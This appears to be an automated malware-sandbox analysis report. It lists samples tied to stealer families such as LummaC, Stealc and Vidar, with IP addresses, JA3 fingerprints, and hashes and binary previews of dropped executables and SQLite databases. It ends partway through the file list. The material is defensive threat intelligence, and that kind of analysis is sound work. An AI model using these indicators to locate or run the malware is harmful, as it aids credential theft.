	GoogleInstaller.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	34.117.59.81
	Passport and card.vbs	Get hash	malicious	Unknown	Browse	34.117.59.81
	Passport.vbs	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://www.aieov.com/setup.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	OuaJzAFCTk.exe	Get hash	malicious	DCRat	Browse	34.117.59.81
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	34.117.239.71
	0d145776475200f49119bfb3ac7ac4dd4e20fadd0fd7b.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	https://en.softonic.com	Get hash	malicious	Unknown	Browse	34.117.239.71
HETZNER-ASDE	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	ga1fp5ekpV.exe	Get hash	malicious	Njrat	Browse	188.34.178.0
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	49.12.197.9
	7ffbfc130000.conhost2.dll.dll	Get hash	malicious	Unknown	Browse	195.201.21.34
	7ffbfc130000.conhost2.dll.dll	Get hash	malicious	Unknown	Browse	195.201.21.34
	VOqg4bXfFS.dll	Get hash	malicious	Unknown	Browse	195.201.21.34
	tZlDJKdfV6.dll	Get hash	malicious	Unknown	Browse	195.201.21.34
	7ff6c1d70000.xxtlz.exe	Get hash	malicious	Unknown	Browse	195.201.21.34
	Y1kJT9dEK1.dll	Get hash	malicious	Unknown	Browse	195.201.21.34
	7ff6c1d70000.xxtlz.exe	Get hash	malicious	Unknown	Browse	195.201.21.34

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	aZPm0tHPTX.exe	Get hash	malicious	SmokeLoader	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	lFsYXvJPWw.exe	Get hash	malicious	XRed	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	Applicati#U043enSetupFile14.1.exe	Get hash	malicious	LummaC	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	kuly.exe	Get hash	malicious	LummaC	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	webNY0O9Sr.exe	Get hash	malicious	LummaC	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	EKAHephXb2.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	webNY0O9Sr.exe	Get hash	malicious	LummaC	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse	104.21.21.3 34.117.59.81 104.21.56.150 104.26.3.46 104.21.77.132 104.21.84.18 104.21.18.193 172.67.177.186 188.114.96.3 104.102.49.254 104.21.16.12 173.231.16.77
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	lFsYXvJPWw.exe	Get hash	malicious	XRed	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	563299efce875400a8d9b44b96597c8e-sample (1).zip	Get hash	malicious	Unknown	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	104.102.49.254
	AMG Cargo Logistic.docx	Get hash	malicious	Unknown	Browse	104.102.49.254
	Cn3E2Kp2LP.exe	Get hash	malicious	CobaltStrike	Browse	104.102.49.254
	Cn3E2Kp2LP.exe	Get hash	malicious	CobaltStrike	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\EBKJDBAAKJ.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\AAAKEBGDAF.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAKEBGDAF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	344992
Entropy (8bit):	7.9840811629834345
Encrypted:	false
SSDEEP:	6144:X5EAq+eU9BhaikesEDBVqaDf5kLslwEIF4TN4ha/qks1l9QjjmQ+Nb/Q5AQEO:J5vlBQB/EDBkaDRkyZIF4TN4o/29QjK0
MD5:	022CC85ED0F56A3F3E8AEC4AE3B80A71
SHA1:	A89B9C39C5F6FCB6E770CEA9491BF7A97F0F012D
SHA-256:	BB28BB63ED34A3B4F97A0A26BDA8A7A7C60F961010C795007EDC52576B89E4D3
SHA-512:	AC549B9CF50E631BAE01152DB4523FDAB55F426EE77177AF900B088244665E28DE03C10784FE9DB33A2478BEE0D96BD50E5A668D2A2BFDFF3E8706AA8F5D71A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ... ....@.. .......................`.......7....`.....................................S.... ..B...........x...(&...@......`................................................ ............... ..H............text........ ...................... ..`.rsrc...B.... ......................@..@.reloc.......@......................@..B........................H.......@... ..............................................................+>J]..y.. 9..=...5..t...S..4;g./.k.T.l..>GP.OC.B.$...!.xV...X.,.7.D.qRY..\.8..`M.c....6...`...D6by..e>.Ty...."lZD;...6....FN6T.^:...z._.'.._......r;...n8...Ua..<.D8..4.OvZ.2.j;o.9...;.a.}.y.R......\......`2.fv.J.C.*D.cu..'.^,b......F^I..e..H.N!...&..x..D...."...5....z.J..sE.......H....b&DI..9..Z...l.{,w.F....-. O....2...Ak.8.<.!@@a'...2...A....%.l..?.a<y.....6zZ.....'..7..Q....v>

C:\ProgramData\BGHIDGCA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCAECGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBKJDBAAKJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\ProgramData\FBFHDBKJEGHJJJKFIIJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBGCAFIIECBFIDHIJKFBAKEGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEGHJEGHJKFIEBFHJKKKFHCFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFIIIJJKJKFHIDGDBAKJEBKEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIJJDGCB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\ProgramData\IIECFHDBAAECAAKFHDHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHDGDAAAAK\AKEGDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHDGDAAAAK\DBAEHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHDGDAAAAK\HIEHDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHDGDAAAAK\JDGCGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\BFIDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\FHIDAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGDBGCAAE\GDAECA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
